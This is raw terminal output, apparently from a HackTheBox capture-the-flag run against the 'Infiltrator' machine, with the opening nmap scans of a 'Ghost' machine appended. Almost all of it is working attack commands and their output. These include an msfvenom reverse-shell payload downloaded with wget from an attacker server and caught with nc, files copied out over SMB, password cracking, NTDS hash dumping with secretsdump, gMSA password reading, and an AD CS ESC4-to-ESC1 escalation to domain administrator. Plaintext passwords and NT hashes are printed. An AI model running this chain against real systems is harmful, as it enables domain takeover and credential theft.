    ❯ nxc smb dc01.infiltrator.htb -u 'winrm_svc' -p 'WinRm@$svc^!^P' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\winrm_svc:WinRm@$svc^!^P 
    ❯ impacket-getTGT infiltrator.htb/winrm_svc:'WinRm@$svc^!^P'
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Saving ticket in winrm_svc.ccache
    
    ❯ export KRB5CCNAME=$(pwd)/winrm_svc.ccache
    
    ❯ klist -e
    Ticket cache: FILE:/home/kali/Desktop/HackTheBox/Windows/Infiltrator/Infiltrator2/content/winrm_svc.ccache
    Default principal: winrm_svc@INFILTRATOR.HTB
    
    Valid starting     Expires            Service principal
    18/01/25 00:27:56  18/01/25 10:27:56  krbtgt/INFILTRATOR.HTB@INFILTRATOR.HTB
    	renew until 19/01/25 00:28:04, Etype (skey, tkt): aes256-cts-hmac-sha1-96, aes256-cts-hmac-sha1-96 
    ❯ evil-winrm -i dc01.infiltrator.htb -r infiltrator.htb
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\winrm_svc\Documents> cd "C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA"
    *Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> ls
    
    
        Directory: C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA
    
    
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    d-----        2/25/2024   7:20 AM                Audios
    d-----        2/25/2024   7:20 AM                CalendarFiles
    d-----        2/25/2024   7:26 AM                Log
    d-----        2/25/2024   7:20 AM                MailInbox
    d-----        2/25/2024   7:20 AM                MailSent
    d-----        2/25/2024   7:20 AM                Received Files
    d-----        2/25/2024   7:20 AM                Screenshots
    d-----        2/25/2024   7:20 AM                Temp
    d-----        2/25/2024   7:20 AM                Theme
    -a----        2/25/2024   7:20 AM          29696 OM.db3
    -a----        2/25/2024   7:20 AM          13312 OT.db3
    
    
    *Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
                                            
    Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OM.db3 to OM.db3
                                            
    Info: Download successful!
    
    *Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3
                                            
    Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OT.db3 to OT.db3
                                            
    Info: Download successful!
    
    ❯ ls -l OM.db3
    .rwxrwxr-x kali kali 31 KB Fri Jan 17 23:58:16 2025  OM.db3
    
    ❯ sqlite3 OM.db3
    SQLite version 3.46.1 2024-08-13 09:16:08
    Enter ".help" for usage hints.
    sqlite> .tables
    om_chatroom               om_drive_files            om_preset_message       
    om_chatroom_user          om_escape_message         om_reminder             
    om_custom_group_new       om_hide_usergroup         om_settings             
    om_custom_group_user_new  om_notes                  om_user_master          
    om_custom_status          om_notes_user             om_user_photo           
    sqlite> select * from om_chatroom;
    1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
    2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||
    sqlite>
    ❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'm@rtinez@1996!' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [-] infiltrator.htb\O.martinez:m@rtinez@1996! KDC_ERR_PREAUTH_FAILED 
    ❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=444 -f exe -o reverse.exe
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 460 bytes
    Final size of exe file: 7168 bytes
    Saved as: reverse.exe
    
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ rlwrap -cAr nc -nlvp 444
    listening on [any] 444 ...
    PS C:\temp> wget 192.168.249.128/reverse.exe -o reverse.exe
    PS C:\temp> ls
    
        Directory: C:\temp
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -a----         1/18/2025  12:57 AM          28160 reverse.exe
    
    PS C:\temp> .\reverse.exe
    ❯ rlwrap -cAr nc -nlvp 444
    listening on [any] 444 ...
    connect to [10.10.16.5] from (UNKNOWN) [192.168.249.129] 53306
    Microsoft Windows [Version 10.0.19045.5371]
    (c) Microsoft Corporation. All rights reserved.
    
    C:\temp>whoami
    whoami
    w10\gzzcoo
    
    C:\temp>
    ❯ rlwrap -cAr nc -nlvp 444
    listening on [any] 444 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.11.31] 53306
    Microsoft Windows [Version 10.0.17763.6189]
    (c) 2018 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    whoami
    infiltrator\o.martinez
    PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> ls
    
        Directory C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -a----         2/23/2024   4:10 AM         292244 network_capture_2024.pcapng
    
    PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301>
    ❯ smbserver.py smbFolder $(pwd) -smb2support
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    PS C:\Users\O.martinez\AppData\Roaming\Ouput Messenger\FAAA\Received Files\203301> copy 292244 network_capture_2024.pcapng \\10.10.16.5\smbFolder\292244 network_capture_2024.pcapng
    ❯ ls -l
    .rw-rw-r-- kali kali 205 KB Sat Jan 18 01:58:41 2025  BitLocker-backup.raw
    .rwxr-xr-x kali kali 285 KB Sat Jan 18 01:49:49 2025  network_capture_2024.pcapng
    
    ❯ hexedit BitLocker-backup.raw
    ❯ echo $((0x3A5))
    933
    
    ❯ echo $((0x33554))
    210260
    
    ❯ dd if=BitLocker-backup.raw of=BitLocker-backup.7z bs=1 skip=933 count=$((210260 - 933))
    209327+0 records in
    209327+0 records out
    209327 bytes (209 kB, 204 KiB) copied, 0,608148 s, 344 kB/s
    
    ❯ file BitLocker-backup.7z
    BitLocker-backup.7z: 7-zip archive data, version 0.4
    ❯ 7z x BitLocker-backup.7z
    
    7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
     64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
    
    Scanning the drive for archives:
    1 file, 209327 bytes (205 KiB)
    
    Extracting archive: BitLocker-backup.7z
    --
    Path = BitLocker-backup.7z
    Type = 7z
    Physical Size = 209327
    Headers Size = 271
    Method = LZMA2:20 7zAES
    Solid = -
    Blocks = 1
    
        
    Enter password (will not be echoed)
    ❯ 7z2john BitLocker-backup.7z > hash7z
    ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
    ❯ john --wordlist:/usr/share/wordlists/rockyou.txt hash7z
    Using default input encoding: UTF-8
    Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 AVX 4x AES])
    Cost 1 (iteration count) is 524288 for all loaded hashes
    Cost 2 (padding size) is 8 for all loaded hashes
    Cost 3 (compression type) is 2 for all loaded hashes
    Cost 4 (data length) is 209048 for all loaded hashes
    Will run 8 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    zipper           (BitLocker-backup.7z)     
    1g 0:00:02:50 DONE (2025-01-18 02:15) 0.005869g/s 32.49p/s 32.49c/s 32.49C/s cuteaq..pinkprincess
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed.
    ❯ 7z x BitLocker-backup.7z
    
    7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
     64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
    
    Scanning the drive for archives:
    1 file, 209327 bytes (205 KiB)
    
    Extracting archive: BitLocker-backup.7z
    --
    Path = BitLocker-backup.7z
    Type = 7z
    Physical Size = 209327
    Headers Size = 271
    Method = LZMA2:20 7zAES
    Solid = -
    Blocks = 1
    
        
    Enter password (will not be echoed):
    Everything is Ok
    
    Folders: 1
    Files: 1
    Size:       792371
    Compressed: 209327
    ❯ ls -l
    drwxrwxr-x kali kali 4.0 KB Mon Feb 19 19:11:00 2024  BitLocker-backup
    ❯ ls
     'Microsoft account _ Clés de récupération BitLocker.html'
    ❯ python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    ❯ nxc smb dc01.infiltrator.htb -u 'O.martinez' -p 'M@rtinez_P@ssw0rd!' -k
    SMB         dc01.infiltrator.htb 445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         dc01.infiltrator.htb 445    DC01             [+] infiltrator.htb\O.martinez:M@rtinez_P@ssw0rd! 
    ❯ xfreerdp3 /u:O.martinez /p:'M@rtinez_P@ssw0rd!' /v:10.10.11.31 /dynamic-resolution
    ❯ smbserver.py smbFolder $(pwd) -username 'O.martinez' -password 'M@rtinez_P@ssw0rd!' -smb2support
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    ❯ ls -l Backup_Credentials.7z
    .rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024  Backup_Credentials.7z
    
    ❯ 7z x Backup_Credentials.7z
    
    7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
     64-bit locale=es_ES.UTF-8 Threads:32 OPEN_MAX:1024
    
    Scanning the drive for archives:
    1 file, 2055137 bytes (2007 KiB)
    
    Extracting archive: Backup_Credentials.7z
    --
    Path = Backup_Credentials.7z
    Type = 7z
    Physical Size = 2055137
    Headers Size = 250
    Method = LZMA2:24
    Solid = +
    Blocks = 1
    
    Everything is Ok                  
    
    Folders: 2
    Files: 3
    Size:       48513024
    Compressed: 2055137
    
    ❯ ls -l
    drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:32 2024  'Active Directory'
    drwxrwxr-x kali kali 4.0 KB Sun Feb 25 15:12:34 2024  registry
    .rwxrwxr-x kali kali 2.0 MB Sun Feb 25 15:23:02 2024  Backup_Credentials.7z
    
    ❯ tree
    .
    ├── Active Directory
    │   └── ntds.dit
    ├── Backup_Credentials.7z
    └── registry
        ├── SECURITY
        └── SYSTEM
    
    3 directories, 4 files
    ❯ secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Target system bootKey: 0xd7e7d8797c1ccd58d95e4fb25cb7bdd4
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Searching for pekList, be patient
    [*] PEK # 0 found and decrypted: d27644ab3070f72ec264fcb413d75299
    [*] Reading and decrypting hashes from Active Directory/ntds.dit 
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7bf62b9c45112ffdadb7b6b4b9299dd2:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DC$:1001:aad3b435b51404eeaad3b435b51404ee:fe4767309896203c581b9fc3c5e23b00:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:454fcbc37690c6e4628ab649e8e285a5:::
    infiltrator.htb\winrm_svc:1104:aad3b435b51404eeaad3b435b51404ee:84287cd16341b91eb93a58456b73e30f:::
    infiltrator.htb\lan_managment:1105:aad3b435b51404eeaad3b435b51404ee:e8ade553d9b0cb1769f429d897c92931:::
    infiltrator.htb\M.harris:1106:aad3b435b51404eeaad3b435b51404ee:fc236589c448c620417b15597a3d3ca7:::
    infiltrator.htb\D.anderson:1107:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
    infiltrator.htb\L.clark:1108:aad3b435b51404eeaad3b435b51404ee:627a2cb0adc7ba12ea11174941b3da88:::
    infiltrator.htb\O.martinez:1109:aad3b435b51404eeaad3b435b51404ee:eb86d7bcb30c8eac1bdcae5061e2dff4:::
    infiltrator.htb\A.walker:1110:aad3b435b51404eeaad3b435b51404ee:46389d8dfdfcf0cbe262a71f576e574b:::
    infiltrator.htb\K.turner:1111:aad3b435b51404eeaad3b435b51404ee:48bcd1cdc870c6285376a990c2604531:::
    infiltrator.htb\E.rodriguez:1112:aad3b435b51404eeaad3b435b51404ee:b1918c2ce6a62f4eee11c51b6e2e965a:::
    ❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '7bf62b9c45112ffdadb7b6b4b9299dd2'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [-] infiltrator.htb\Administrator:7bf62b9c45112ffdadb7b6b4b9299dd2 STATUS_LOGON_FAILURE 
    ❯ ntdsdotsqlite Active\ Directory/ntds.dit --system registry/SYSTEM -o ntds.db
    100%|██████████████████████████████████████████████| 3823/3823 [00:00<00:00, 5123.30it/s]
    
    ❯ ls -l ntds.db
    .rw-rw-r-- kali kali 136 KB Sat Jan 18 02:38:45 2025  ntds.db
    
    ❯ sqlitebrowser ntds.db
    ❯ nxc smb dc01.infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\lan_managment:l@n_M@an!1331 
    ❯ bloodyAD --host dc01.infiltrator.htb -d infiltrator.htb -u 'lan_managment' -p 'l@n_M@an!1331' get object 'infiltrator_svc$' --attr msDS-ManagedPassword
    
    distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
    msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:3ec423661d68dbda6c94ff25ff4d726b
    msDS-ManagedPassword.B64ENCODED: z+LzYks13ZzAJQxIZgFbQCYsOroomLTBLYJhZKhD+gD+4zAwiKZe+vu8YrR44x20SQ/ytOmb2+1cq/BV6HeCl6IW50MjiLLLBEJh8xOH8ttUJ6SNjZ8iTq2lcG38EdSSQZE/iEpiIcmKa+QAAzPvwKrKYzU+IUsQYzw9mvrRpVTad46hZ7UZBV7o9LRDNUzwkVvO+pd69ou5Ut+l4ugcjp95iRe1of4vZE2Sd3UR3vdb9RQwfYz9O22pGD7FCXIuAXdeQssQNIqgyZJa+FyEVl5cVSJHm3Z7ZJ1AmIOmhtj3SgyAtVh0iYokhQKDRtxzwU3Y6lg9fijgfb41XkVtiw==
    ❯ nxc smb dc01.infiltrator.htb -u 'infiltrator_svc$' -H '3ec423661d68dbda6c94ff25ff4d726b'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\infiltrator_svc$:3ec423661d68dbda6c94ff25ff4d726b
    ❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Finding certificate templates
    [*] Found 34 certificate templates
    [*] Finding certificate authorities
    [*] Found 1 certificate authority
    [*] Found 12 enabled certificate templates
    [*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
    [!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
    [*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
    [!] Failed to connect to remote registry. Service should be starting now. Trying again...
    [*] Got CA configuration for 'infiltrator-DC01-CA'
    [*] Enumeration output:
    Certificate Authorities
      0
        CA Name                             : infiltrator-DC01-CA
        DNS Name                            : dc01.infiltrator.htb
        Certificate Subject                 : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
        Certificate Serial Number           : 724BCC4E21EA6681495514E0FD8A5149
        Certificate Validity Start          : 2023-12-08 01:42:38+00:00
        Certificate Validity End            : 2124-08-04 18:55:57+00:00
        Web Enrollment                      : Disabled
        User Specified SAN                  : Disabled
        Request Disposition                 : Issue
        Enforce Encryption for Requests     : Enabled
        Permissions
          Owner                             : INFILTRATOR.HTB\Administrators
          Access Rights
            ManageCertificates              : INFILTRATOR.HTB\Administrators
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
            ManageCa                        : INFILTRATOR.HTB\Administrators
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
            Enroll                          : INFILTRATOR.HTB\Authenticated Users
    Certificate Templates
      0
        Template Name                       : Infiltrator_Template
        Display Name                        : Infiltrator_Template
        Certificate Authorities             : infiltrator-DC01-CA
        Enabled                             : True
        Client Authentication               : True
        Enrollment Agent                    : False
        Any Purpose                         : False
        Enrollee Supplies Subject           : True
        Certificate Name Flag               : EnrolleeSuppliesSubject
        Enrollment Flag                     : PublishToDs
                                              PendAllRequests
                                              IncludeSymmetricAlgorithms
        Private Key Flag                    : ExportableKey
        Extended Key Usage                  : Smart Card Logon
                                              Server Authentication
                                              KDC Authentication
                                              Client Authentication
        Requires Manager Approval           : True
        Requires Key Archival               : False
        Authorized Signatures Required      : 1
        Validity Period                     : 99 years
        Renewal Period                      : 650430 hours
        Minimum RSA Key Length              : 2048
        Permissions
          Object Control Permissions
            Owner                           : INFILTRATOR.HTB\Local System
            Full Control Principals         : INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
                                              INFILTRATOR.HTB\Local System
            Write Owner Principals          : INFILTRATOR.HTB\infiltrator_svc
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
                                              INFILTRATOR.HTB\Local System
            Write Dacl Principals           : INFILTRATOR.HTB\infiltrator_svc
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
                                              INFILTRATOR.HTB\Local System
            Write Property Principals       : INFILTRATOR.HTB\infiltrator_svc
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
                                              INFILTRATOR.HTB\Local System
        [!] Vulnerabilities
          ESC4                              : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions
    ❯ certipy-ad template -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -template Infiltrator_Template -save-old -dc-ip 10.10.11.31
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
    [*] Updating certificate template 'Infiltrator_Template'
    [*] Successfully updated 'Infiltrator_Template'
    ❯ certipy-ad find -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -dc-ip 10.10.11.31 -vulnerable -stdout
    
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Finding certificate templates
    [*] Found 34 certificate templates
    [*] Finding certificate authorities
    [*] Found 1 certificate authority
    [*] Found 12 enabled certificate templates
    [*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
    [!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
    [*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
    [*] Got CA configuration for 'infiltrator-DC01-CA'
    [*] Enumeration output:
    Certificate Authorities
      0
        CA Name                             : infiltrator-DC01-CA
        DNS Name                            : dc01.infiltrator.htb
        Certificate Subject                 : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
        Certificate Serial Number           : 724BCC4E21EA6681495514E0FD8A5149
        Certificate Validity Start          : 2023-12-08 01:42:38+00:00
        Certificate Validity End            : 2124-08-04 18:55:57+00:00
        Web Enrollment                      : Disabled
        User Specified SAN                  : Disabled
        Request Disposition                 : Issue
        Enforce Encryption for Requests     : Enabled
        Permissions
          Owner                             : INFILTRATOR.HTB\Administrators
          Access Rights
            ManageCertificates              : INFILTRATOR.HTB\Administrators
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
            ManageCa                        : INFILTRATOR.HTB\Administrators
                                              INFILTRATOR.HTB\Domain Admins
                                              INFILTRATOR.HTB\Enterprise Admins
            Enroll                          : INFILTRATOR.HTB\Authenticated Users
    Certificate Templates
      0
        Template Name                       : Infiltrator_Template
        Display Name                        : Infiltrator_Template
        Certificate Authorities             : infiltrator-DC01-CA
        Enabled                             : True
        Client Authentication               : True
        Enrollment Agent                    : True
        Any Purpose                         : True
        Enrollee Supplies Subject           : True
        Certificate Name Flag               : EnrolleeSuppliesSubject
        Enrollment Flag                     : None
        Private Key Flag                    : ExportableKey
        Requires Manager Approval           : False
        Requires Key Archival               : False
        Authorized Signatures Required      : 0
        Validity Period                     : 5 years
        Renewal Period                      : 6 weeks
        Minimum RSA Key Length              : 2048
        Permissions
          Object Control Permissions
            Owner                           : INFILTRATOR.HTB\Local System
            Full Control Principals         : INFILTRATOR.HTB\Authenticated Users
            Write Owner Principals          : INFILTRATOR.HTB\Authenticated Users
            Write Dacl Principals           : INFILTRATOR.HTB\Authenticated Users
            Write Property Principals       : INFILTRATOR.HTB\Authenticated Users
        [!] Vulnerabilities
          ESC1                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication
          ESC2                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template can be used for any purpose
          ESC3                              : 'INFILTRATOR.HTB\\Authenticated Users' can enroll and template has Certificate Request Agent EKU set
          ESC4                              : 'INFILTRATOR.HTB\\Authenticated Users' has dangerous permissions
    
    ❯ certipy-ad req -u 'infiltrator_svc$'@infiltrator.htb -hashes 3ec423661d68dbda6c94ff25ff4d726b -ca infiltrator-DC01-CA -template Infiltrator_Template -upn administrator -dc-ip 10.10.11.31
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Requesting certificate via RPC
    [*] Successfully requested certificate
    [*] Request ID is 11
    [*] Got certificate with UPN 'administrator'
    [*] Certificate has no object SID
    [*] Saved certificate and private key to 'administrator.pfx'
    ❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain infiltrator.htb
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Using principal: administrator@infiltrator.htb
    [*] Trying to get TGT...
    [*] Got TGT
    [*] Saved credential cache to 'administrator.ccache'
    [*] Trying to retrieve NT hash for 'administrator'
    [*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1
    ❯ nxc smb dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
    SMB         10.10.11.31     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False)
    SMB         10.10.11.31     445    DC01             [+] infiltrator.htb\Administrator:1356f502d2764368302ff0369b1121a1 (Pwn3d!)
    ❯ evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
    d97142dec41*********************
    ❯ KRB5CCNAME=administrator.ccache wmiexec.py infiltrator.htb/Administrator@dc01.infiltrator.htb -k -no-pass
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    infiltrator\administrator
    ❯ nmap -p- --open -sS --min-rate 1000 -Pn -n 10.10.11.24 -oG allPorts
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:54 CET
    Initiating SYN Stealth Scan at 18:54
    Scanning 10.10.11.24 [65535 ports]
    Completed SYN Stealth Scan at 18:56, 127.33s elapsed (65535 total ports)
    Nmap scan report for 10.10.11.24
    Host is up, received user-set (0.053s latency).
    Scanned at 2025-02-07 18:54:34 CET for 127s
    Not shown: 65508 filtered tcp ports (no-response)
    Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
    PORT      STATE SERVICE          REASON
    53/tcp    open  domain           syn-ack ttl 127
    80/tcp    open  http             syn-ack ttl 127
    88/tcp    open  kerberos-sec     syn-ack ttl 127
    135/tcp   open  msrpc            syn-ack ttl 127
    139/tcp   open  netbios-ssn      syn-ack ttl 127
    389/tcp   open  ldap             syn-ack ttl 127
    443/tcp   open  https            syn-ack ttl 127
    445/tcp   open  microsoft-ds     syn-ack ttl 127
    464/tcp   open  kpasswd5         syn-ack ttl 127
    593/tcp   open  http-rpc-epmap   syn-ack ttl 127
    636/tcp   open  ldapssl          syn-ack ttl 127
    1433/tcp  open  ms-sql-s         syn-ack ttl 127
    2179/tcp  open  vmrdp            syn-ack ttl 127
    3268/tcp  open  globalcatLDAP    syn-ack ttl 127
    3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
    3389/tcp  open  ms-wbt-server    syn-ack ttl 127
    5985/tcp  open  wsman            syn-ack ttl 127
    8008/tcp  open  http             syn-ack ttl 127
    8443/tcp  open  https-alt        syn-ack ttl 127
    9389/tcp  open  adws             syn-ack ttl 127
    49443/tcp open  unknown          syn-ack ttl 127
    49664/tcp open  unknown          syn-ack ttl 127
    49669/tcp open  unknown          syn-ack ttl 127
    49675/tcp open  unknown          syn-ack ttl 127
    51066/tcp open  unknown          syn-ack ttl 127
    51123/tcp open  unknown          syn-ack ttl 127
    57044/tcp open  unknown          syn-ack ttl 127
    
    Read data files from: /usr/share/nmap
    Nmap done: 1 IP address (1 host up) scanned in 127.43 seconds
               Raw packets sent: 131132 (5.770MB) | Rcvd: 177 (10.228KB)
    ❯ extractPorts allPorts
    
    [*] Extracting information...
    
    	[*] IP Address: 10.10.11.24
    	[*] Open ports: 53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044
    
    [*] Ports copied to clipboard
    ❯ nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49669,49675,51066,51123,57044 10.10.11.24 -A -oN targeted -oX targetedXML
    Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-07 18:59 CET
    Nmap scan report for 10.10.11.24
    Host is up (0.066s latency).
    
    PORT      STATE SERVICE       VERSION
    53/tcp    open  domain        Simple DNS Plus
    80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
    88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-02-07 18:00:25Z)
    135/tcp   open  msrpc         Microsoft Windows RPC
    139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
    389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
    |_ssl-date: TLS randomness does not represent time
    | ssl-cert: Subject: commonName=DC01.ghost.htb
    | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
    | Not valid before: 2024-06-19T15:45:56
    |_Not valid after:  2124-06-19T15:55:55
    443/tcp   open  https?
    445/tcp   open  microsoft-ds?
    464/tcp   open  kpasswd5?
    593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
    636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
    | ssl-cert: Subject: commonName=DC01.ghost.htb
    | Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
    | Not valid before: 2024-06-19T15:45:56
    |_Not valid after:  2124-06-19T15:55:55
